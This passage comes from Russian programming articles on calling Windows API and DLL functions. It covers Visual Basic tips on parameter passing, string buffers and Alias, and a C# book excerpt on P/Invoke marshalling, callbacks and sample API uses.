форму обращения, программист рискует лишь тем,
что в вызывающую программу вернется (или не
вернется) исправленное значение переменной. В
«классическом» же варианте такая путаница может
привести к фатальной ошибке при выполнении
процедуры (например, когда вместо адреса памяти
будет использоваться значение переменной,
равное, скажем, нулю).
DLL-функции реализованы по
«классическим» принципам и поэтому требуют
обязательного описания того, каким образом
происходит обмен данными с каждым из аргументов.
Именно этой цели служат объявления функций через
описание Declare (точнее, списка передаваемых
аргументов). Чаще всего передача параметров в
функцию Windows API или DLL выполняется с помощью
ключевого слова ByVal. Причем оно может быть задано
как в операторе Declare, так и непосредственно при
вызове функции.
Последствия неправильной передачи параметров легко предугадать. В случае получения
явно недопустимого адреса вам будет выдано сообщение GPF (General Protection
Fault — ошибка защиты памяти). Если же функция получит значение, совпадающее
с допустимым адресом, то функция API залезет в чужую область (например, в ядро
Windows) со всеми вытекающими отсюда катастрофическими последствиями.
2. Проверяйте тип передаваемых параметров. Не менее важны верное число
и тип передаваемых параметров. Необходимо, чтобы объявленные в Declare аргументы
соответствовали ожидаемым параметрам в функции API. Наиболее часто встречающийся
случай ошибки в передаче параметров связан с различием между NULL и строкой
нулевой длины — следует помнить, что это не одно и то же.
3. Проверяйте тип возвращаемого значения.
VB довольно терпимо относится к несовпадению типов возвращаемых функцией значений,
поскольку числовые значения обычно возвращаются через регистры, а не через стек.
Следующие правила помогут определить корректное значение, возвращаемое функцией
API:
- DLL-функция, не возвращающая значения (аналог void в ‘C’), должна быть
объявлена как VB Sub. - функция API, возвращающая целое значение (Integer или Long), может быть
определена или как Sub, или как Function, возвращающая значение соответствующего
типа. - ни одна из функций API не возвращает числа с плавающей точкой, но некоторые
DLL вполне могут возвращать такой тип данных.
4. С большой осторожностью используйте конструкцию «As Any». Множество
функций Windows API имеют возможность принимать параметры различных типов и
используют при этом обращение с применением конструкции As Any (интерпретация
типа выполняется в зависимости от значения других передаваемых параметров).
Хорошим решением в этом случае может быть использование нескольких псевдонимов
(Alias) функции с созданием двух и более объявлений для одной и той же функции,
причем в каждом из описаний указываются параметры определенного типа.
5. Не забывайте инициализировать строки. В Win API существует множество
функций, возвращающих информацию путем загрузки данных в передаваемые как параметр
строковые буферы. В своей программе вы можете вроде бы все сделать правильно:
не забыть о ByVal, верно передать параметры в функцию. Но Windows не может проверить,
насколько велик размер выделенного под строку участка памяти. Размер строки
должен быть достаточным для размещения всех данных, которые могут быть в него
помещены. Ответственность за резервирование буфера нужного размера лежит на
VB-программисте.
Следует отметить, что в 32-разрядных
Windows при использовании строк производится
преобразование из Unicode (двухбайтовая кодировка) в
ANSI (однобайтовая) и обратно, причем с учетом
национальных установок системы. Поэтому для
резервирования буферов порой удобнее
использовать байтовые массивы вместо строковых
переменных. (Подробнее об этом будет рассказано
ниже.)
Чаще всего функции Win API позволяют вам самим определить максимальный размер
блока. В частности, иногда для этого нужно вызвать другую функцию API, которая
«подскажет» размер блока. Например, GetWindowTextLength позволяет определить
размер строки, необходимый для размещения заголовка окна, получаемого функцией
GetWindowText. В этом случае Windows гарантирует, что вы не выйдете за границу.
6. Обязательно используйте Option Explicit.
7. Внимательно проверяйте значения параметров и возвращаемых величин. VB
обладает хорошими возможностями по проверке типов. Это означает, что, когда
вы пытаетесь передать неверный параметр в функцию VB, самое плохое, что может
случиться, — вы получите сообщение об ошибке от VB. Но данный механизм, к сожалению,
не работает при обращении к функциям Windows API.
Windows 9x обладает усовершенствованной
системой проверки параметров для большинства
функций API. Поэтому наличие ошибки в данных
обычно не вызывает фатальной ошибки, однако
определить, что же явилось ее причиной — не
так-то просто.
Здесь можно посоветовать использовать
несколько способов отладки ошибки данного типа:
- используйте пошаговый режим отладки или команду Debug.Print для проверки
каждого подозрительного вызова функции API. Проверьте результаты этих вызовов,
чтобы удостовериться, что все в пределах нормы и функция корректно завершилась; - используйте Windows-отладчик типа CodeView и отладочную версию Windows
(имеется в Windows SDK). Эти средства могут обнаружить ошибку параметров и
по меньшей мере определить, какая функция API приводит к ошибке; - используйте дополнительные средства третьих фирм для проверки типов параметров
и допустимости их значений. Такие средства могут не только находить ошибки
параметров, но даже указать на строку кода VB, где произошла ошибка.
Кроме того, нужно обязательно проверять результат выполнения API-функции.
8. Помните, что целые числа в VB и в Windows — не одно и то же. В
первую очередь следует иметь в виду, что под термином «Integer» в VB понимается
16-разрядное число, в документации Win 32 — 32-разрядное. Во-вторых, целые
числа (Integer и Long) в VB — это величины со знаком (то есть один разряд
используется как знак, остальные — как мантисса числа), в Windows —
используются только неотрицательные числа. Это обстоятельство нужно иметь в
виду, когда вы формируете передаваемый параметр с помощью арифметических операций
(например, вычисляете адрес с помощью суммирования некоторой базы и смещения).
Для этого стандартные арифметические функции VB не годятся. Как быть в этом
случае, мы поговорим отдельно.
9. Внимательно следите за именами функций. В отличие от Win16 имена
всех функций Win32 API являются чувствительными к точному использованию строчных
и прописных букв (в Win16 такого не было). Если вы где-то применяете строчную
букву вместо прописной или наоборот, то нужная функция не будет найдена. Следите
также за правильным использованием суффикса A или W в функциях, применяющих
строковые параметры. (Подробнее об этом – см. ниже.)
10. Чаще сохраняйте результаты работы. Ошибки, связанные с неверным
использованием DLL и Win API, могут приводить к аварийному завершению работы
VB-среды, а возможно — и всей операционной системы. Вы должны позаботиться о
том, чтобы написанный вами код перед тестовым запуском был сохранен. Самое простое —
это установить режим автоматической записи модулей проекта перед запуском проекта
в среде VB.
Совет 4. Не нужно бояться применять Win API
После прочтения предыдущего совета
может возникнуть мысль, что использование
функций Win API — дело рискованное. В какой-то
степени это так, но только в сравнении с
безопасным программированием, предоставляемым
самим VB. Но при умелом их применении и знании
возможных подводных камней этот риск минимален.
К тому же полностью отказаться от применения Win API
зачастую просто невозможно — они все равно
потребуются при сколь-нибудь серьезной
разработке.
К тому же ранее мы упоминали о
«подводных» камнях для широкого класса DLL. В
случае с Win API все обстоит гораздо проще, так как
здесь четко унифицирована форма обращения к этим
функциям. При этом следует иметь в виду следующие
основные моменты:
- Функции Win32 API являются именно функциями, то есть процедурами типа Function
(в Win16 API было много подпрограмм Sub). Все это функции типа Long, поэтому
их описания записываются в следующем виде:Declare Function name ... As Long ‘ тип функции _ определяется в явном виде
или
Declare Function name& ‘ тип функции _ определяется с помощью суффикса
Обращение к API-функции выглядит так:
Result& = ApiName& ([СписокАргументов]
- Чаще всего возвращаемое значение функции является кодом завершения операции.
Причем ненулевое значение означает в данном случае нормальное завершение,
нулевое — ошибку. Обычно (но не всегда) уточнить характер ошибки можно
с помощью обращения к функции GetLastError. Описание этой функции имеет такой
вид:Declare Function GetLastError& Lib “kernel32” ()
ВНИМАНИЕ! При работе в среде VB для получения значения уточненного
кода ошибки лучше использовать свойство LastDLLError объекта Err, так как
иногда VB обнуляет функцию GetLastError в промежутке между обращением к
API и продолжением выполнения программы.Интерпретировать код, возвращаемый GelLastError, можно с помощью констант,
записанных в файле API32.TXT, с именами, начинающимися с суффикса ERROR_.Наиболее типичные ошибки имеют следующие коды:
- ERROR_INVALID_HANDLE = 6& — неверный описатель
- ERROR_CALL_NOT_IMPLEMENTED = 120& — вызов в Windows 9x функции,
доступной только для Windows NT - ERROR_INVALID_PARAMETER = 87& — неверное значение параметра
Однако многие функции возвращают значение некоторого запрашиваемого параметра
(например, OpenFile возвращает значение описателя файла). В таких случаях
ошибка определяется каким-либо другим специальным значением Return&,
чаще всего 0 или –1. - Win32 API используют строго фиксированные способы передачи самых простых
типов данных.а) ByVal ... As Long
С помощью переменных типа Long выполняется не менее 80% передачи аргументов.
Обратите внимание, что аргумент всегда сопровождается ключевым словом
ByVal, а это, кроме всего прочего, означает, что выполняется односторонняя
передача данных — от VB-программы к API-функции.б) ByVal ... As String
Этот тип передачи данных также встречается достаточно часто, причем с аргументом
также всегда применяется ByVal. При вызове API-функции в стек записывается
адрес строки, поэтому в данном случае возможен двусторонний обмен данными.
При работе со строками нужно учитывать несколько опасностей.Первая — резервирование памяти под строку производится в вызывающей
программе, поэтому если API-функция будет заполнять строки, то нужно перед
ее вызовом создать строку необходимого размера. Например, функция GetWindowsDirectory
возвращает путь к каталогу Windows, который по определению не должен занимать
более 144 символов. Соответственно обращение к этой функции должно выглядеть
примерно так:WinPath$ = Space$(144) ‘ резервируем строку в _ 144 символа Result& = GetWindowsDirectory& (WinTath$, 144) _ ‘заполнение буфера ‘ Result& — фактическое число символов в имени _ каталога WinPath$ = Left$(WinPath, Result&)
Вторая проблема заключается в том, что при обращении к API-функции производится
преобразование исходной строки в ее некоторое внутреннее представление,
а при выходе из функции — наоборот. Если во времена Win16 эта операция
заключалась лишь в добавлении нулевого байта в конце строки, то с появлением
Win32 к этому добавилась трансформация двухбайтной кодировки Unicode в ANSI
и наоборот. (Об этом подробно говорилось в статье «Особенности работы со
строковыми переменными в VB», КомпьютерПресс 10’99 и 01’2000). Сейчас же
только отметим, что с помощью конструкции ByVal … As String можно обмениваться
строками только с символьными данными.в) ... As Any
Это означает, что в стек будет помещен некоторый адрес буфера памяти, интерпретация
содержимого которого будет выполняться API-функцией, например, в зависимости
от значения других аргументов. Однако As Any может использоваться только
в операторе Declare — при конкретном обращении к функции в качестве
аргумента должна быть определена конкретная переменная.г) ... As UserDefinedType
Такая конструкция также часто применяется, когда необходимо обменяться
данными (в общем случае в обе стороны) с помощью некоторой структуры. На
самом деле эта конструкция — некий вид конкретной реализации формы
передачи As Any, просто в данном случае функция настроена на фиксированную
структуру.Форма структуры данных определяется конкретной API-функцией, и на программисте
лежит ответственность правильным образом описать и зарезервировать ее в
вызывающей программе. Такая конструкция всегда используется без
слова ByVal, то есть в данном случае выполняется передача по ссылке —
в стек записывается адрес переменной.
Пример обращения к API-функции
Проиллюстрируем сказанное выше на примере использования двух полезных функций
работы с файлами — lopen и lread, которые описываются следующим образом:
Declare Function lopen Lib “kernel32” _ Alias “_lopen” (_ ByVal lpFileName As String, _ ByVal wReadWrite As Long) As Long Declare Function lread Lib “kernel32” _ Alias “_lread” (_ ByVal hFile As Long, lpBuffer As Any, _ ByVal wBytes As Long) As Long
В VB их аналогами — в данном случае
точными — являются операторы Open и Get (для
режима Binary). Обратим сразу внимание на
использование ключевого слова Alias в объявлении
функции — это как раз тот случай, когда без
него не обойтись. Настоящие названия функции в
библиотеке начинаются с символа подчеркивания
(типичный стиль для языка C), что не разрешается в
VB.
Операция открытия файла может выглядеть следующим образом:
Const INVALID_HANDLE_VALUE = -1 ‘ неверное _ значение описателя lpFileName$ = “D:\calc.bas” ‘ имя файла wReadWrite& = 2 ‘ режим “чтения-записи” hFile& = lopen(lpFileName$, wReadWrite&) _ ‘ определяем описатель файла If hFile& = INVALID_HANDLE_VALUE Then _ ‘ ошибка открытия файла ‘ уточняем код ошибки CodeError& = Err.LastDllError ‘CodeError& = GetLastError _ ‘ эта конструкция не работает End If
Здесь нужно обратить внимание на два
момента:
- в качестве значения функции мы получаем значение описателя файла. Ошибке
соответствует значение –1; - как раз в данном случае не срабатывает обращение к функции GetLastError —
для получения уточненного значения ошибки мы обратились к объекту Err (о возможности
такой ситуации мы говорили выше).
Далее можно читать содержимое файла, но это предполагает, что программист должен
иметь некоторое представление о его структуре (так же как это происходит при
работе с произвольными двоичными файлами). В этом случае обращение к функции
lread может выглядеть следующим образом:
Dim MyVar As Single wBytes = lread (hFile&, MyVar, Len(MyVar) ‘ чтение вещественного числа, 4 байта ‘ wBytes — число фактически прочитанных данных, ‘ -1 — ошибка ... Type MyStruct x As Single i As Integer End Type Dim MyVar As MyStruct wBytes = lread (hFile&, MyVar, Len(MyVar)) ‘ чтение структуры данных, 6 байтов
Еще раз обратите внимание: второй
аргумент функции передается по ссылке,
остальные — по значению.
Однако если вы хотите прочитать символьные данные в строке переменной длины,
то вам нужно использовать иной вид обращения:
Dim MyVar As String MyVar = Space$(10) ‘резервируем переменную для 10 символов wBytes = lread (hFile&, ByVal MyVar, Len(MyVar)) ‘ чтение символьной строки, 10 символов
Здесь видно важное отличие от
приведенного ранее примера — строковая
переменная обязательно сопровождается ключевым
словом ByVal.
Чтение содержимого файла в массиве (для простоты будем использовать одномерный
байтовый массив) выполняется следующим образом:
Dim MyArray(1 To 10) As Byte wBytes = lread (hFile&, MyArray(1), _ Len(MyArray(1))* 10) ‘ чтение 10 элементов массива
Указывая первый элемент массива в качестве аргумента, мы передаем адрес начала
области памяти, зарезервированной под массив. Очевидно, что таким образом можно
заполнить любой фрагмент массива:
wBytes = lread (hFile&, MyArray(4), _ Len(MyArray(1))* 5) ‘ чтение элементов массива с 4-го по 8-й
Аналогичным образом можно прочитать фрагмент многомерного массива, но при
этом нужно знать алгоритм преобразования многомерной структуры в одномерную.
Совет 5. Используйте Alias для передачи параметров
As Any
Здесь на основе предыдущего примера мы
раскроем суть четвертого совета Дэна Эпплмана.
Работая с функцией lread, следует помнить, что при обращении к ней с использованием
строковой переменной необходимо использовать ключевое слово ByVal (иначе сообщения
о нелегальной операции не избежать). Чтобы обезопасить себя, можно сделать дополнительное
специальное описание этой же функции для работы только со строковыми переменными:
Declare Function lreadString Lib “kernel32” _ Alias “_lread” (_ ByVal hFile As Long, ByVal lpBuffer As String, _ ByVal wBytes As Long) As Long
При работе с этим описанием указывать ByVal при обращении уже не нужно:
wBytes = lreadString (hFile&, MyVarString, _ Len(MyVarString)) ‘
Казалось бы, синтаксис оператора Declare позволяет сделать подобное специальное
описание для массива:
Declare Function lreadString Lib “kernel32” Alias “_lread” (_ ByVal hFile As Long, lpBuffer() As Byte, _ ByVal wBytes As Long) As Long
Однако обращение
wBytes = lreadArray (hFile&, MyArray(), 10)
неизбежно приводит к фатальной ошибке программы.
Совет 6. Внимание при работе со строковыми переменными
Это продолжение разговора об
особенностях обработки строковых переменных в
Visual Basic: VB использует двухбайтную кодировку Unicode,
Win API — однобайтную ANSI (причем с форматом,
принятым в С, — с нулевым байтом в конце).
Соответственно при использовании строковых
переменных в качестве аргумента всегда
автоматически производится преобразование из
Unicode в ANSI при вызове API-функции (точнее, DLL-функции)
и обратное преобразование при возврате.
Вывод из этого простой: с помощью
переменных String можно обмениваться символьными
данными, но нельзя использовать их для обмена
произвольной двоичной информацией (как это было
при работе с 16-разрядными версиями VB). В последнем
случае лучше использовать одномерный байтовый
массив.
Как известно, тип String можно
использовать для описания пользовательской
структуры. В связи с этим нужно помнить
следующее:
- Категорически нельзя использовать для обращения к Win API конструкцию следующего
вида:Type MyStruct x As Single s As String ‘ строка переменной длины End Type
В случае строки переменной длины в составе структуры передается дескриптор
строки со всеми вытекающими отсюда последствиями в виде ошибки выполнения
программы. - Можно использовать в качестве элемента структуры строку фиксированной длины:
Type MyStruct x As Single s As String*8 ‘ строка фиксированной длины End Type
При этом производится соответствующее
преобразование кодировок.
И последнее замечание: применять массив строковых переменных (как фиксированной,
так и переменной длины) при обращении к API-функции нельзя ни в коем случае.
Иначе появление «нелегальной операции» будет гарантировано.
Совет 7. Как обращаться к DLL-функциям
Вполне вероятно, что у вас возникнет
ситуация, когда вам потребуется написать
собственную библиотеку DLL-функций. Потребность в
этом неизбежно появится, если вы будете
использовать технологию смешанного
программирования — использования двух или
более языков программирования для реализации
одного приложения.
Отметим в связи с этим, что смешанное
программирование — это вполне обычное
явление для реализации достаточно сложного
приложения. Действительно, каждый язык (точнее,
система программирования на базе языка) имеет
свои сильные и слабые стороны, поэтому вполне
логично использовать преимущества различных
инструментов для решения разных задач. Например,
VB — для создания пользовательского
интерфейса, С — для эффективного доступа к
системным ресурсам, Fortran — для реализации
численных алгоритмов.
Мнение автора таково: сколь-нибудь
серьезное занятие программированием требует от
разработчика владения по крайней мере двумя
инструментами. Разумеется, в современных
условиях четкого разделения труда очень сложно
быть отличным экспертом даже по двум системам,
поэтому более логичной является схема «основной
и вспомогательный языки». Идея здесь заключается
в том, что даже поверхностное знание
«вспомогательного» языка (написание довольно
простых процедур) может очень заметно повысить
эффективность применения «основного». Отметим,
что знание VB хотя бы в качестве вспомогательного
является сегодня практически обязательным
требованием для профессионального программиста.
Кстати, во времена DOS для любого программиста, в
том числе Basic, было крайне желательным знание
основ Ассемблера.
Так или иначе, но даже в условиях
групповой работы, когда каждый программист
занимается своим конкретным делом,
представление об особенностях процедурного
интерфейса в разных языках должны иметь все
участники проекта. И знать, что многие системы
программирования (в том числе и VB), кроме
интерфейса, используемого по умолчанию,
позволяют применять иные, расширенные методы
обращения к процедурам, которые дают возможность
адаптировать интерфейс к другому языку.
При изучении межпроцедурного
интерфейса следует обратить внимание на
следующие возможные «подводные камни»:
- Разные языки могут использовать различные соглашения о правилах написания
идентификаторов. Например, часто используется знак подчеркивания в начале
имени процедуры, что запрещено в VB. Эта проблема легко решается с помощью
ключевого слова Alias в операторе Declare (см. пример совета 2.3). - Может быть использована разная последовательность записи передаваемых аргументов
в стек. Например, во времена DOS (честно признаюсь — не знаю, как это
выглядит сейчас в среде Windows), C записывал аргументы с конца списка, другие
языки (Fortran, Pascal, Basic) — с начала. - По умолчанию используются разные принципы передачи параметров — по
ссылке или по значению. - Различные принципы хранения строковых переменных. Например, в C (так же
как в Fortran и Pascal) длина строки определяется нулевым байтом в ее конце,
а в Basic длина записывается в явном виде в дескрипторе строки. Разумеется,
нужно иметь в виду возможность использования разных кодировок символов. - При передаче многомерных массивов следует помнить, что возможны различные
варианты преобразования многомерных структур в одномерные (начиная с первого
индекса или с последнего, применительно к двухмерным массивам — «по строчкам»
или «по столбцам»).
С учетом всего этого можно сформулировать следующие рекомендации:
- Используйте самые простые, проверенные способы передачи аргументов в DLL-функции.
Стандарты, принятые для Win API, вполне годятся в качестве образца. - Ни в коем случае не передавайте массивы строковых переменных.
- Очень внимательно используйте передачу простых строковых переменных и многомерных
массивов. - Обязательно специальным образом проверяйте работоспособность механизма
передачи аргументов в вызываемую процедуру и обратно. Напишите специальный
тест для проверки передачи данных. Отдельно проверьте правильность передачи
каждого аргумента. Например, если у вас есть процедура с несколькими аргументами,
проверьте сначала корректность передачи каждого параметра для варианта с одним
аргументом, а уж потом — для всего списка.
А что делать, если DLL-функция уже
написана, например, на Фортране, но ее входной
интерфейс не очень хорошо вписывается в
приведенные выше стандарты VB? Здесь можно дать
два совета. Первый: напишите тестовую DLL-функцию и
с ее помощью постарайтесь методом проб и ошибок
подобрать нужное обращение из VB-программы.
Второй: напишите процедуру-переходник на том же
Фортране, который бы обеспечивал простой
интерфейс между VB и DLL-функцией с преобразованием
простых структур данных в сложные (например,
преобразовывал многомерный байтовый массив в
строковый массив).
Итак: используйте DLL-функции. Но сохраняйте бдительность…
КомпьютерПресс 9’2000
Из книги C#. Советы программистам (в сокращении)
Программный код, который выполняется под управлением CLR (Common Language Runtime, т. е. общая среда выполнения языков), называется управляемым (managed) кодом. Программный код, выполняющийся вне среды выполнения CLR, называется неуправляемым (unmanaged) кодом. Примером неуправляемого программного кода служат функции Win32 API, компоненты COM, интерфейсы ActiveX. Несмотря на большое количество классов .NET Framework, содержащих множество методов, программисту все равно приходится иногда прибегать к неуправляемому коду. Надо сказать, что число вызовов неуправляемого кода уменьшается с выходом каждой новой версии .NET Framework. Microsoft надеется, что наступит такое время, когда весь код можно будет сделать управляемым и безопасным. Но пока реальность такова, что без вызовов функций Windows API нам пока не обойтись. Но сначала немного теории.
Управляемый код .NET Framework может вызывать неуправляемую функцию из DLL (функцию Windows API) при помощи специального механизма Platform Invoke (сокр. P/Invoke). Для того чтобы обратиться к какой-нибудь неуправлямойнеуправляемой библиотеке DLL, вы должны преобразовать .NET-объекты в наборы struct, char* и указателей на функции, как того требует язык C. Как сказали бы программисты на своем жаргоне — вам нужно маршалировать параметры. Более подробно о маршалинге (Marshalling) вам следует почитать в документации. Чтобы вызвать DLL-функцию из C#, сначала ее необходимо объявить (программисты, имеющие опыт работы с Visual Basic 6.0, уже знакомы с этим способом). Для этого используется атрибут DllImport:
using System.Runtime.InteropServices;
public class Win32
{
[DllImport("User32.Dll")]
public static extern void SetWindowText(IntPtr hwnd,
String lpString);
}
Иногда в примерах вы можете также встретить такой способ (длинный и неудобный): [System.Runtime.InteropServices.DllImport(«User32.Dll»)]…, но это на любителя.
Атрибут DllImport сообщает компилятору, где находится точка входа, что позволяет далее вызывать функцию из нужного места. Вы должны всегда использовать тип IntPtr для HWND, HMENU и любых других описателей. Для LPCTSTR используйте String, а сервисы взаимодействия (interop services) выполнят автоматический маршаллинг System.String в LPCTSTR до передачи в Windows. Компилятор ищет указанную выше функцию SetWindowText в файле User32.dll и перед ее вызовом автоматически преобразует вашу строку в LPTSTR (TCHAR*). Почему это происходит? Для каждого типа в C# определен свой тип, используемый при маршалинге по умолчанию (default marshaling type) . Для строк это LPTSTR.
Вызов функций Windows API, имеющих выходной строковый параметр char*
Предположим, нам необходимо вызвать функцию GetWindowText, у которой имеется строковый выходной параметр char*. По умолчанию, для строк используется LPTSTR, но если мы будем использовать System.String, как было сказано выше, то ничего не произойдет, так как класс System.String не позволяет модифицировать строку. Вам необходимо использовать класс StringBuilder, который позволяет изменять строки.
using System.Text; // для StringBuilder
[DllImport("user32.dll")]
public static extern int GetWindowText(IntPtr hwnd,
StringBuilder buf, int nMaxCount);
Тип, используемый для маршашлинга StringBuilder по умолчанию, — тоже LPTSTR, зато теперь GetWindowText может модифицировать саму вашу строку:
StringBuilder sTitleBar = new StringBuilder(255);
GetWindowText(this.Handle, sTitleBar, sTitleBar.Capacity);
MessageBox.Show(sTitleBar.ToString());
Таким образом, ответом на вопрос, как вызывать функцию, у которой есть выходной строковый параметр, будет — используйте класс StringBuilder.
Изменение типа, применяемого для маршалинга по умолчанию
Например, мы хотим вызвать функцию GetClassName, который принимает параметр LPSTR (char*) даже в Unicode-версиях. Если вы передадите строку, общеязыковая исполняющая среда (CLR) преобразует ее в серию TCHAR. Но с помощью атрибута MarshalAs можно переопределить то, что предлагается по умолчанию:
[DllImport("user32.dll")]
public static extern int GetClassName(IntPtr hwnd,
[MarshalAs(UnmanagedType.LPStr)] StringBuilder buf,
int nMaxCount);
Теперь, когда вы вызовете GetClassName, .NET передаст вашу строку в виде символов ANSI, а не «широких символов».
Вызов функций, требующих struct
Возьмем для примера функцию GetWindowRect, которая записывает в структуру RECT экранные координаты окна. Чтобы вызвать функцию GetWindowRect и передать ей структуру RECT нужно использовать тип struct в сочетании с атрибутом StructLayout:
[StructLayout(LayoutKind.Sequential)]
public struct RECT
{
public int left ;
public int top;
public int right;
public int bottom;
}
[DllImport("user32.dll")]
public static extern int GetWindowRect(IntPtr hwnd, ref RECT rc);
Важно использовать ref, чтобы CLR передала параметр типа RECT как ссылку. В этом случае функция сможет модифицировать ваш объект, а не его безымянную копию в стеке. После такого объявления функции можно ее вызвать в коде:
int w, h;
RECT rc = new RECT();
GetWindowRect(this.Handle, ref rc);
w = rc.right - rc.left;
h = rc.bottom - rc.top;
MessageBox.Show("Ширина формы: " + w + "\n\rВысота формы: " + h);
Обратите внимание, что ref используется и в объявлении, и при вызове функции. Тип, по умолчанию применяемый для маршалинга типов struct — по умолчанию LPStruct, поэтому необходимости в атрибуте MarshalAs нет. Но если вы хотите использовать RECT в виде класса, а не struct, вам необходимо реализовать оболочку:
// Если RECT - класс, а не структура (struct)
[DllImport("user32.dll")]
public static extern int GetWindowRect(IntPtr hwnd,
[MarshalAs(UnmanagedType.LPStruct)] RECT rc);
Работа с функциями обратного вызова в C#
Для использования функций, написанных на C#, в качестве функций обратного вызова Windows, нужно использовать делегаты (delegate).
delegate bool EnumWindowsCB(int hwnd, int lparam);
Объявив свой тип делегата, можно написать оболочку для функции Windows API:
[DllImport("user32")]
public static extern int EnumWindows(EnumWindowsCB cb, int lparam);
Так как в строке с delegate просто объявляется тип делегата (delegate type), сам делегат нужно предоставить в классе:
// В вашем классе
public static bool MyEWP(int hwnd, int lparam)
{
// Делаем тут чего-то
return true;
}
а затем передать оболочке:
EnumWindowsCB cb = new EnumWindowsCB(MyEWP);
Win32.EnumWindows(cb, 0);
Проницательные читатели заметят, что я умолчал о проблеме с lparam.
В языке C, если в EnumWindows дается LPARAM, Windows будет уведомлять вашу функцию обратного вызова этим
LPARAM. Обычно lparam — указатель на некую структуру или класс, который содержит контекстную информацию, нужную вам для выполнения своих операций. Но запомните: в .NET слово «указатель» произносить нельзя! Так что же делать? Можно объявить ваш lparam как IntPtr и использовать GCHandle в качестве его оболочки:
// lparam — теперь IntPtr
delegate bool EnumWindowsCB(int hwnd, IntPtr lparam);
// Помещаем объект в оболочку GCHandle
MyClass obj = new MyClass();
GCHandle gch = GCHandle.Alloc(obj);
EnumWindowsCB cb = new EnumWindowsCB(MyEWP);
Win32.EnumWindows(cb, (IntPtr)gch);
gch.Free();
Не забудьте вызвать Free, когда закончите свои дела! Иногда в C# приходится самому освобождать память. Чтобы получить доступ к «указателю» lparam внутри перечислителя, используйте GCHandle.Target.
public static bool MyEWP(int hwnd, IntPtr param)
{
GCHandle gch = (GCHandle)param;
MyClass c = (MyClass)gch.Target;
// ...пользуемся
return true;
}
Ниже показан написанный мной класс, который инкапсулирует EnumWindows в массив. Вместо того чтобы возиться со
всеми этими делегатами и обратными вызовами, вы пишете:
WindowArray wins = new WindowArray();
foreach (int hwnd in wins)
{
// Делаем тут чегото
}
// WinArray: генерирует ArrayList окон верхнего уровня,
// используя EnumWindows
//
using System;
using System.Collections;
using System.Runtime.InteropServices;
namespace WinArray
{
public class WindowArray : ArrayList {
private delegate bool EnumWindowsCB(int hwnd, IntPtr param);
// Объявляются как private, потому что нужны лишь мне
[DllImport("user32")]
private static extern int EnumWindows(EnumWindowsCB cb,
IntPtr param);
private static bool MyEnumWindowsCB(int hwnd, IntPtr param)
{
GCHandle gch = (GCHandle)param;
WindowArray itw = (WindowArray)gch.Target;
itw.Add(hwnd);
return true;
}
// Это единственный открытый (public) метод.
// Только его вам и надо вызывать.
public WindowArray()
{
GCHandle gch = GCHandle.Alloc(this);
EnumWindowsCB ewcb = new EnumWindowsCB(MyEnumWindowsCB);
EnumWindows(ewcb, (IntPtr)gch);
gch.Free();
}
}
}
Небольшая программа ListWin (Приложение ListWin.cs), которую я написал для перечисления окон верхнего уровня, позволяет просматривать списки HWND, имен классов, заголовков и/или прямоугольников окон, используя RECT или Rectangle. Исходный код ListWin показан не полностью; весь исходный код можно скачать по ссылке, приведенной в конце статьи.
Создание собственной управляемой библиотеки
Можно создать собственную управляемую библиотеку, из которой можно будет вызывать функции Windows API. Для этого в Visual Studio предусмотрены специальные опции. Новый проект создается как библиотека классов (Class Library). Сборка при этом автоматически получает расширение dll. Использовать управляемую библиотеку в управляемом коде просто. Для этого надо добавить ссылку (используя меню Project | Add Reference…) на библиотечную сборку, указав месторасположение сборки в соответствующем диалоговом окне. После этого Visual Studio копирует сборку в директорию, в которой располагается разрабатываемый код. Далее в коде программы используется либо оператор using, либо полное имя библиотечного модуля с точечной нотацией. Все библиотечные классы и методы готовы к использованию в коде программы.
Также можно воспользоваться командной строкой. Чтобы скомпилировать класс Win32API.cs, введите:
csc /t:library /out:Win32API.dll Win32API.cs
В результате у вас будет создан файл Win32API.dll, доступный для любого проекта на C#.
using Win32API // подключаем класс из библиотеки DLL
int hwnd = // ваш код
string s = "Моя строка";
Win32.SetWindowText(hwnd, s); // вызываем функцию из нашей библиотеки
Пример создания библиотеки и использования функций Windows API находится в папке Win32 на прилагаемом к книге диске.
Примеры использования функций API
Вкратце ознакомившись с теорией, перейдем к конкретным примерам. В предыдущих главах я уже неоднократно приводил пример использования функций Windows API для решения различных проблем. Рассмотрим еще несколько полезных советов, которые не вошли в другие главы.
- Блокировка компьютера — Если вам необходимо блокировать компьютер, то вызовите функцию LockWorkStation. Результат работы примера будет аналогичен нажатию комбинации клавиш Win+L или клавиш Ctrl+Alt+Del с последующим выбором кнопки (или команды меню) Блокировка.
- Является ли текущий пользователь администратором? — Если необходимо удостовериться, что текущий пользователь имеет права администратора, то можно вызвать функцию IsUserAnAdmin.
- Мигание заголовка формы — Наверное, вам приходилось видеть, что заголовок окна вдруг начинал мигать, привлекая ваше внимание. Подобный эффект реализуется вызовом функций FlashWindow или FlashWindowsEx.
- Форматирование дисков — Чтобы вызвать стандартное диалоговое окно форматирования дисков нужно воспользоваться функцией SHFormatDrive
- Открытие и закрытие лотка привода компакт-дисков — Наверное, при работе с утилитами, прожигающими компакт-диски CD-R и CD-RW, вы замечали, что у них имеется возможность извлекать компакт-диск из привода программным путем. Неплохо бы научиться делать то же самое при помощи C#. Для этого используем функцию mciSendString в связке с специальными командами, которые и позволят нам открывать и закрывать лоток привода компакт-дисков
- Создание собственного пункта в системном меню — У большинства окон в Windows имеется так называемое системное меню. Внешний вид, как правило, у всех меню одинаков, но иногда попадаются программы, у которых в системном меню имеются свои собственные пункты. Естественно, любого программиста разбирает любопытство — а как реализовать эту функциональность в своей программе. На данный момент .NET Framework не предоставляет такого полезного свойства как Form.SystemMenu или что-то в этом роде. Поэтому придется прибегать к помощи механизма P/Invoke для вызовов функций Windows API. Опытные программисты (особенно имеющие опыт работы с языком С++) знают, что для модификации системного меню используется функция GetSystemMenu, а также вспомогательная функция AppendMenu, которая позволяет добавлять в меню разделители, картинки, галочки и сам текст.
- Извлечение значков из файлов — Функция ExtractIcon позволяет извлекать значки из ресурсов, которые зашиты в файлах EXE, DLL, CPL и др. Кроме того, функция позволяет подсчитать количество значков, находящихся в файле. В качестве испытуемого файла возьмем динамическую библиотеку shell32.dll, которая имеется в любой версии Windows.
- Вызов диалогового окна Смена значка — Существует такая функция Windows API как PickIconDlg. Долгое время она была официально не документирована, но, начиная, с Windows 2000 компания Microsoft все-таки выложила описание этой функции на сайте MSDN. Функция PickIconDlg вызывает стандартное диалоговое окно «Смена значка», позволяющее выбрать значок из модуля. Тем самым, мы можем предоставить пользователю возможность самому выбирать нужный значок, после чего и вывести его на форму (или произвести другие операции).
